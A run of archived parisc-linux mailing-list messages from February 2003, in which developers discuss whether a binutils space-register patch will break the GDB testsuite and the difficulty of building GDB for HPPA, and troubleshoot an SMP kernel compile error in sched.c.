List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17775

On Mon, Feb 24, 2003 at 08:01:31AM -0700, law@redhat.com wrote:
> And the GDB testsuite, which tests the PA disassembler.  I'm 99% sure
> it's going to fail after this change.

Is it OK if I fix the testsuite then?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: law@redhat.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 09:16:25 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <200302241616.h1OGGR3I009972__47167.7304165953$1416622236$gmane$org@localhost.redhat.com>
References: <20030224145957.K2938@parcelfarce.linux.theplanet.co.uk>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622236 22053 80.91.229.3 (22 Nov 2014 02:10:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:36 +0000 (UTC)
Cc: Alan Modra <amodra@bigpond.net.au>, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 09:12:02 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96FD54870
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 09:12:01 -0700 (MST)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id h1OGBse12961;
	Mon, 24 Feb 2003 11:11:54 -0500
Original-Received: from localhost.redhat.com (vpn50-43.rdu.redhat.com [172.16.50.43])
	by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h1OGBqq16362;
	Mon, 24 Feb 2003 11:11:52 -0500
Original-Received: from redhat.com (law@localhost)
	by localhost.redhat.com (8.12.5/8.12.5/Submit) with ESMTP id h1OGGR3I009972;
	Mon, 24 Feb 2003 09:16:28 -0700
X-Authentication-Warning: localhost.redhat.com: law owned process doing -bs
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Your message of "Mon, 24 Feb 2003 14:59:57 GMT."
             <20030224145957.K2938@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17776

In message <20030224145957.K2938@parcelfarce.linux.theplanet.co.uk>, Matthew Wi
lcox writes:
 >On Mon, Feb 24, 2003 at 08:01:31AM -0700, law@redhat.com wrote:
 >> And the GDB testsuite, which tests the PA disassembler.  I'm 99% sure
 >> it's going to fail after this change.
 >
 >Is it OK if I fix the testsuite then?
No strong opinions either way.

jeff



From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Mon, 24 Feb 2003 18:42:39 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <3E5A21B500000145@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622236 22070 80.91.229.3 (22 Nov 2014 02:10:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 10:42:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id B528F4871
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 10:42:54 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18nMcv-00057M-00
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 18:42:53 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 24 Feb 2003 18:42:39 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17777

Hi all,

Having the opportunity to test a N-class (classical), I build a sd with
debian unstable running a kernel 2.4.20-pa27 64bits up and would try now
to rebuild this same kernel with smp support (I am reach of 2cpu  :) ) but
compile failled with following message:

hppa64-linux-gcc -D__KERNEL__ -I/usr/src/linux-2.4.20-pa27-64/include -Wall
-Wst
rict-prototypes -Wno-trigraphs -O2 -fno-strict-aliasing -fno-common -fomit-frame
-pointer -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-
calls -mdisable-fpregs -ffunction-sections -march=2.0 -mschedule=8000
-nostdin
c -I /usr/lib/gcc-lib/hppa64-linux/3.2.3/include -DKBUILD_BASENAME=sched
 -fno-o
mit-frame-pointer -c -o sched.o sched.c
sched.c:93: initializer element is not constant
sched.c:93: (near initialization for `tasklist_lock')
sched.c:93: initializer element is not constant
make[2]: *** [sched.o] Error 1
make[2]: Leaving directory `/usr/src/linux-2.4.20-pa27-64/kernel'
make[1]: *** [first_rule] Error 2
make[1]: Leaving directory `/usr/src/linux-2.4.20-pa27-64/kernel'
make: *** [_dir_kernel] Error 2

at this 93th line I met:
rwlock_t tasklist_lock __cacheline_aligned = RW_LOCK_UNLOCKED

which is precompile as:
rwlock_t tasklist_lock __attribute__((__aligned__(64))) = (rwlock_t) { (spinlock_t)
{1}, 0 };

What's wrong?

I am using the last I know gcc-hppa64 3.2.3-0.1 (would I have to prefer
previous release?) .

Thanks in advance,
    Joel



---------------------------------
Vous surfez avec une ligne classique ?
Faites des economies avec Tiscali Complete
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-pa27 64bits smp problem!
Date: Mon, 24 Feb 2003 17:50:13 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20030224175013.L2938@parcelfarce.linux.theplanet.co.uk>
References: <3E5A21B500000145@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622236 22083 80.91.229.3 (22 Nov 2014 02:10:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:36 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 10:50:14 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 63E1A4872
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 10:50:14 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18nMk1-0006cQ-00; Mon, 24 Feb 2003 17:50:13 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E5A21B500000145@ocpmta3.freegates.net>; from jsoe0708@tiscali.be on Mon, Feb 24, 2003 at 06:42:39PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17778

On Mon, Feb 24, 2003 at 06:42:39PM +0100, Joel Soete wrote:
> sched.c:93: initializer element is not constant
> sched.c:93: (near initialization for `tasklist_lock')
> sched.c:93: initializer element is not constant
[...]
> which is precompile as:
> rwlock_t tasklist_lock __attribute__((__aligned__(64))) = (rwlock_t) { (spinlock_t)
> {1}, 0 };
> 
> What's wrong?

looks like gcc broke this again.  for the moment, you can try taking
out the casts.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 18:23:28 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20030224182328.M2938__35902.9630235911$1416622237$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20030224062421.GA31111@bubble.sa.bigpond.net.au> <200302241501.h1OF1WJT001142@localhost.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622237 22093 80.91.229.3 (22 Nov 2014 02:10:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:37 +0000 (UTC)
Cc: Alan Modra <amodra@bigpond.net.au>,
	Matthew Wilcox <willy@debian.org>, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org
To: law@redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 11:23:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB1A84873
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 11:23:30 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18nNGC-0006yc-00; Mon, 24 Feb 2003 18:23:28 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200302241501.h1OF1WJT001142@localhost.redhat.com>; from law@redhat.com on Mon, Feb 24, 2003 at 08:01:31AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17779

On Mon, Feb 24, 2003 at 08:01:31AM -0700, law@redhat.com wrote:
> And the GDB testsuite, which tests the PA disassembler.  I'm 99% sure
> it's going to fail after this change.

i would, if i could.  every attempt i made to get gdb's testsuite to
run met with disaster.  this was supposed to be a quick bugfix not a
major expedition.  i give up.  someone who can cope with the ridiculous
requirements for building gdb targetting hppa can fix this.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: law@redhat.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 11:39:52 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <200302241839.h1OIdqBf016932__34863.2578891285$1416622237$gmane$org@localhost.redhat.com>
References: <20030224182328.M2938@parcelfarce.linux.theplanet.co.uk>
Reply-To: law@redhat.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622237 22096 80.91.229.3 (22 Nov 2014 02:10:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:37 +0000 (UTC)
Cc: Alan Modra <amodra@bigpond.net.au>, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 11:35:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADFD44875
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 11:35:26 -0700 (MST)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254])
	by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id h1OIZLe18978;
	Mon, 24 Feb 2003 13:35:21 -0500
Original-Received: from localhost.redhat.com (vpn50-43.rdu.redhat.com [172.16.50.43])
	by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id h1OIZJq24226;
	Mon, 24 Feb 2003 13:35:19 -0500
Original-Received: from redhat.com (law@localhost)
	by localhost.redhat.com (8.12.5/8.12.5/Submit) with ESMTP id h1OIdqBf016932;
	Mon, 24 Feb 2003 11:39:54 -0700
X-Authentication-Warning: localhost.redhat.com: law owned process doing -bs
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-Reply-To: Your message of "Mon, 24 Feb 2003 18:23:28 GMT."
             <20030224182328.M2938@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17780

In message <20030224182328.M2938@parcelfarce.linux.theplanet.co.uk>, Matthew Wi
lcox writes:
 >On Mon, Feb 24, 2003 at 08:01:31AM -0700, law@redhat.com wrote:
 >> And the GDB testsuite, which tests the PA disassembler.  I'm 99% sure
 >> it's going to fail after this change.
 >
 >i would, if i could.  every attempt i made to get gdb's testsuite to
 >run met with disaster.  this was supposed to be a quick bugfix not a
 >major expedition.  i give up.  someone who can cope with the ridiculous
 >requirements for building gdb targetting hppa can fix this.
Err, I built it without difficulty a few months ago (I don't do nearly as
much PA work as I used to).  Presumably you have an HPUX box, right?  That's
the easiest way to get it build and running.

Jeff



From - Thu Nov 08 21:26:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 18:42:25 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20030224184225.N2938__48785.1504855373$1416622237$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <20030224182328.M2938@parcelfarce.linux.theplanet.co.uk> <200302241839.h1OIdqBf016932@localhost.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622237 22098 80.91.229.3 (22 Nov 2014 02:10:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:37 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Alan Modra <amodra@bigpond.net.au>, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org
To: law@redhat.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 11:42:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 795014877
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 11:42:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18nNYX-0007Al-00; Mon, 24 Feb 2003 18:42:25 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200302241839.h1OIdqBf016932@localhost.redhat.com>; from law@redhat.com on Mon, Feb 24, 2003 at 11:39:52AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17781

On Mon, Feb 24, 2003 at 11:39:52AM -0700, law@redhat.com wrote:
> Err, I built it without difficulty a few months ago (I don't do nearly as
> much PA work as I used to).  Presumably you have an HPUX box, right?  That's
> the easiest way to get it build and running.

nope, no hpux, only i386-linux and hppa-linux around here.  trying to
get binutils cvs to build a cross i386->hppa gdb dies in tix (no tk8.4
directory), trying with just `make all-binutils all-gdb' dies being
unable to find dl.h or machine/save_state.h.

so switch to trying native on an hppa-linux host with gdb-5.3.  that dies
claiming hppa-linux is unsupported.  apply the debian patches.  that build
dies trying to find texc.pro.

i'm willing to put in a certain amount of time & effort, but this is
too much.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Jacobowitz <dan@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 13:47:47 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20030224184747.GA3272__35476.6190321699$1416622238$gmane$org@nevyn.them.org>
References: <20030224182328.M2938@parcelfarce.linux.theplanet.co.uk> <200302241839.h1OIdqBf016932@localhost.redhat.com> <20030224184225.N2938@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622238 22101 80.91.229.3 (22 Nov 2014 02:10:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:38 +0000 (UTC)
Cc: law@redhat.com, Alan Modra <amodra@bigpond.net.au>,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 11:48:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from crack.them.org (crack.them.org [65.125.64.184])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E96F487A
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 11:48:19 -0700 (MST)
Original-Received: from nevyn.them.org ([66.93.61.169] ident=mail)
	by crack.them.org with asmtp (Exim 3.12 #1 (Debian))
	id 18nPWz-0005cM-00; Mon, 24 Feb 2003 14:48:57 -0600
Original-Received: from drow by nevyn.them.org with local (Exim 3.36 #1 (Debian))
	id 18nNdj-0000r8-00; Mon, 24 Feb 2003 13:47:47 -0500
Mail-Followup-To: Matthew Wilcox <willy@debian.org>, law@redhat.com,
	Alan Modra <amodra@bigpond.net.au>, binutils@sources.redhat.com,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030224184225.N2938@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17782

On Mon, Feb 24, 2003 at 06:42:25PM +0000, Matthew Wilcox wrote:
> On Mon, Feb 24, 2003 at 11:39:52AM -0700, law@redhat.com wrote:
> > Err, I built it without difficulty a few months ago (I don't do nearly as
> > much PA work as I used to).  Presumably you have an HPUX box, right?  That's
> > the easiest way to get it build and running.
> 
> nope, no hpux, only i386-linux and hppa-linux around here.  trying to
> get binutils cvs to build a cross i386->hppa gdb dies in tix (no tk8.4
> directory), trying with just `make all-binutils all-gdb' dies being
> unable to find dl.h or machine/save_state.h.
> 
> so switch to trying native on an hppa-linux host with gdb-5.3.  that dies
> claiming hppa-linux is unsupported.  apply the debian patches.  that build
> dies trying to find texc.pro.
> 
> i'm willing to put in a certain amount of time & effort, but this is
> too much.

That means the version of texinfo install on that machine is broken. 
It was fixed in Debian/unstable some months ago.

-- 
Daniel Jacobowitz
MontaVista Software                         Debian GNU/Linux Developer


From - Thu Nov 08 21:26:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Cagney <ac131313@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] space register 0 changes for hppa
Date: Mon, 24 Feb 2003 16:49:35 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <3E5A936F.6070401__27166.2603402094$1416622238$gmane$org@redhat.com>
References: <20030224182328.M2938@parcelfarce.linux.theplanet.co.uk> <200302241839.h1OIdqBf016932@localhost.redhat.com> <20030224184225.N2938@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622238 22105 80.91.229.3 (22 Nov 2014 02:10:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:10:38 +0000 (UTC)
Cc: law@redhat.com, Alan Modra <amodra@bigpond.net.au>,
	binutils@sources.redhat.com, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb 24 14:47:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost.redhat.com (to-wiznet.redhat.com [216.129.200.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E0A34829
	for <parisc-linux@parisc-linux.org>; Mon, 24 Feb 2003 14:47:35 -0700 (MST)
Original-Received: from redhat.com (localhost [127.0.0.1])
	by localhost.redhat.com (Postfix) with ESMTP
	id 9B0C4294F; Mon, 24 Feb 2003 16:49:35 -0500 (EST)
User-Agent: Mozilla/5.0 (X11; U; NetBSD macppc; en-US; rv:1.0.2) Gecko/20030223
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17783

> On Mon, Feb 24, 2003 at 11:39:52AM -0700, law@redhat.com wrote:
> 
>> Err, I built it without difficulty a few months ago (I don't do nearly as
>> much PA work as I used to).  Presumably you have an HPUX box, right?  That's
>> the easiest way to get it build and running.
> 
> 
> nope, no hpux, only i386-linux and hppa-linux around here.  trying to
